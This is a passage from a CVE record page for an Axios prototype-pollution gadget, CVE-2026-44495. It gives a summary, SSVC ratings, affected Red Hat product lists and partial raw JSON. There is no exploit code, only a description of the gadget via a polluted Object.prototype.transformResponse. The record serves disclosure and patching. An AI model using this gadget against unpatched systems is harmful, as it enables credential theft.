Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-44495 (GCVE-0-2026-44495)
Vulnerability from cvelistv5 – Published: 2026-06-11 15:33 – Updated: 2026-07-30 12:05
VLAI
EPSS
VEX
Title
Axios: Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Summary
Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
46 references
Impacted products
72 products
| Vendor | Product | Version | |
|---|---|---|---|
| axios | axios |
Affected:
>= 1.0.0, < 1.15.2
Affected: >= 0.19.0, < 0.31.1 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:2.5.20260715-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:2.5.20260715-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:2.6.10-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Data Grid 8.6.2 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | multicluster engine for Kubernetes 2.10 |
Unaffected:
1784312384 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.10::el9 |
|
| Red Hat | multicluster engine for Kubernetes 2.6 |
Unaffected:
1783351002 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.6::el9 |
|
| Red Hat | multicluster engine for Kubernetes 2.8 |
Unaffected:
1782157085 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.8::el9 |
|
| Red Hat | multicluster engine for Kubernetes 2.9 |
Unaffected:
1783348181 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.9::el9 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2.11 |
Unaffected:
1783350952 , < *
(rpm)
cpe:/a:redhat:acm:2.11::el9 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2.13 |
Unaffected:
1782157514 , < *
(rpm)
cpe:/a:redhat:acm:2.13::el9 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2.14 |
Unaffected:
1783451729 , < *
(rpm)
cpe:/a:redhat:acm:2.14::el9 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2.15 |
Unaffected:
1784578812 , < *
(rpm)
cpe:/a:redhat:acm:2.15::el9 |
|
| Red Hat | Red Hat Advanced Cluster Security 4.9 |
Unaffected:
1779371594 , < *
(rpm)
cpe:/a:redhat:advanced_cluster_security:4.9::el8 |
|
| Red Hat | Red Hat Advanced Cluster Security for Kubernetes 4.10 |
Unaffected:
1779293013 , < *
(rpm)
cpe:/a:redhat:advanced_cluster_security:4.10::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1782761510 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.7 |
Unaffected:
1783919486 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.7::el9 |
|
| Red Hat | Red Hat Container Native Virtualization 4.13 |
Unaffected:
1782426816 , < *
(rpm)
cpe:/a:redhat:container_native_virtualization:4.13::el9 |
|
| Red Hat | Red Hat Container Native Virtualization 4.14 |
Unaffected:
1781807944 , < *
(rpm)
cpe:/a:redhat:container_native_virtualization:4.14::el9 |
|
| Red Hat | Red Hat Developer Hub 1.10 |
Unaffected:
1783448184 , < *
(rpm)
cpe:/a:redhat:rhdh:1.10::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
Unaffected:
1781187342 , < *
(rpm)
Unaffected: 1782761244 , < * (rpm) cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat Discovery 2 |
Unaffected:
1782166952 , < *
(rpm)
cpe:/a:redhat:discovery:2::el9 |
|
| Red Hat | Red Hat Migration Toolkit 1.8 |
Unaffected:
1783690532 , < *
(rpm)
cpe:/a:redhat:rhmt:1.8::el8 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.14 |
Unaffected:
1782911957 , < *
(rpm)
cpe:/a:redhat:openshift:4.14::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.15 |
Unaffected:
1782127091 , < *
(rpm)
cpe:/a:redhat:openshift:4.15::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.16 |
Unaffected:
1782244020 , < *
(rpm)
cpe:/a:redhat:openshift:4.16::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.20 |
Unaffected:
1781695012 , < *
(rpm)
cpe:/a:redhat:openshift:4.20::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.20 |
Unaffected:
1784148076 , < *
(rpm)
cpe:/a:redhat:openshift:4.20::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.21 |
Unaffected:
1781731914 , < *
(rpm)
cpe:/a:redhat:openshift:4.21::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.21 |
Unaffected:
1784134078 , < *
(rpm)
cpe:/a:redhat:openshift:4.21::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.22 |
Unaffected:
1784119173 , < *
(rpm)
cpe:/a:redhat:openshift:4.22::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782498792 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 2.6 |
Unaffected:
1781937133 , < *
(rpm)
cpe:/a:redhat:service_mesh:2.6::el8 |
|
| Red Hat | Red Hat OpenShift Service Mesh 2.6 |
Unaffected:
1782287580 , < *
(rpm)
cpe:/a:redhat:service_mesh:2.6::el8 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.0 |
Unaffected:
1782201894 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.0::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.0 |
Unaffected:
1782201833 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.0::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.1 |
Unaffected:
1782201696 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.1::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.1 |
Unaffected:
1782201537 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.1::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.2 |
Unaffected:
1782201851 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.2::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.2 |
Unaffected:
1782201812 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.2::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.3 |
Unaffected:
1782231869 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.3::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.3 |
Unaffected:
1782201466 , < *
(rpm)
cpe:/a:redhat:service_mesh:3.3::el9 |
|
| Red Hat | Red Hat Quay 3.1 |
Unaffected:
1783750447 , < *
(rpm)
cpe:/a:redhat:quay:3.10::el8 |
|
| Red Hat | Red Hat Quay 3.12 |
Unaffected:
1783751865 , < *
(rpm)
Unaffected: 1784353904 , < * (rpm) cpe:/a:redhat:quay:3.12::el8 |
|
| Red Hat | Red Hat Quay 3.15 |
Unaffected:
1784351966 , < *
(rpm)
cpe:/a:redhat:quay:3.15::el8 |
|
| Red Hat | Red Hat Quay 3.16 |
Unaffected:
1783955846 , < *
(rpm)
cpe:/a:redhat:quay:3.16::el9 |
|
| Red Hat | Red Hat Quay 3.9 |
Unaffected:
1784125838 , < *
(rpm)
cpe:/a:redhat:quay:3.9::el8 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Gatekeeper 3 |
cpe:/a:redhat:gatekeeper:3 |
|
| Red Hat | Migration Toolkit for Applications 8 |
cpe:/a:redhat:migration_toolkit_applications:8 |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | OpenShift Pipelines |
cpe:/a:redhat:openshift_pipelines:1 |
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat build of Apache Camel for Spring Boot 4 |
cpe:/a:redhat:camel_spring_boot:4 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat Build of Podman Desktop - Tech Preview |
cpe:/a:redhat:podman_desktop:0 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
|
| Red Hat | Red Hat OpenShift Virtualization 4 |
cpe:/a:redhat:container_native_virtualization:4 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Trusted Artifact Signer |
cpe:/a:redhat:trusted_artifact_signer:1 |
|
| Red Hat | Red Hat Trusted Profile Analyzer |
cpe:/a:redhat:trusted_profile_analyzer:2 |
|
| Red Hat | Self-service automation portal 2 |
cpe:/a:redhat:ansible_portal:2 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44495",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-12T03:55:39.431622Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-12T12:47:14.158Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"packageName": "automation-gateway",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.20260715-1.el8ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9"
],
"defaultStatus": "affected",
"packageName": "automation-gateway",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.20260715-1.el9ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "automation-platform-ui",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.6.10-1.el9ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784312384",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783351002",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782157085",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783348181",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.11::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.11",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783350952",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.13::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.13",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782157514",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.14::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783451729",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784578812",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"packageName": "advanced-cluster-security/rhacs-main-rhel8",
"product": "Red Hat Advanced Cluster Security 4.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779371594",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"packageName": "advanced-cluster-security/rhacs-main-rhel8",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779293013",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform-26/gateway-rhel9",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782761510",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.7::el9"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform-27/gateway-rhel9",
"product": "Red Hat Ansible Automation Platform 2.7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783919486",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4.13::el9"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin-rhel9",
"product": "Red Hat Container Native Virtualization 4.13",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782426816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4.14::el9"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin-rhel9",
"product": "Red Hat Container Native Virtualization 4.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781807944",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhdh:1.10::el9"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub 1.10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783448184",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781187342",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "1782761244",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"packageName": "discovery/discovery-ui-rhel9",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782166952",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"packageName": "rhmtc/openshift-migration-ui-rhel8",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783690532",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.14::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console",
"product": "Red Hat OpenShift Container Platform 4.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782911957",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.15::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console",
"product": "Red Hat OpenShift Container Platform 4.15",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782127091",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.16::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console-rhel9",
"product": "Red Hat OpenShift Container Platform 4.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782244020",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-monitoring-plugin-rhel9",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781695012",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784148076",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-monitoring-plugin-rhel9",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781731914",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784134078",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784119173",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/dashboard-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782498792",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel8",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781937133",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel8",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782287580",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201894",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201833",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201696",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201537",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201851",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201812",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782231869",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201466",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783750447",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783751865",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "1784353904",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784351966",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel9",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783955846",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784125838",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
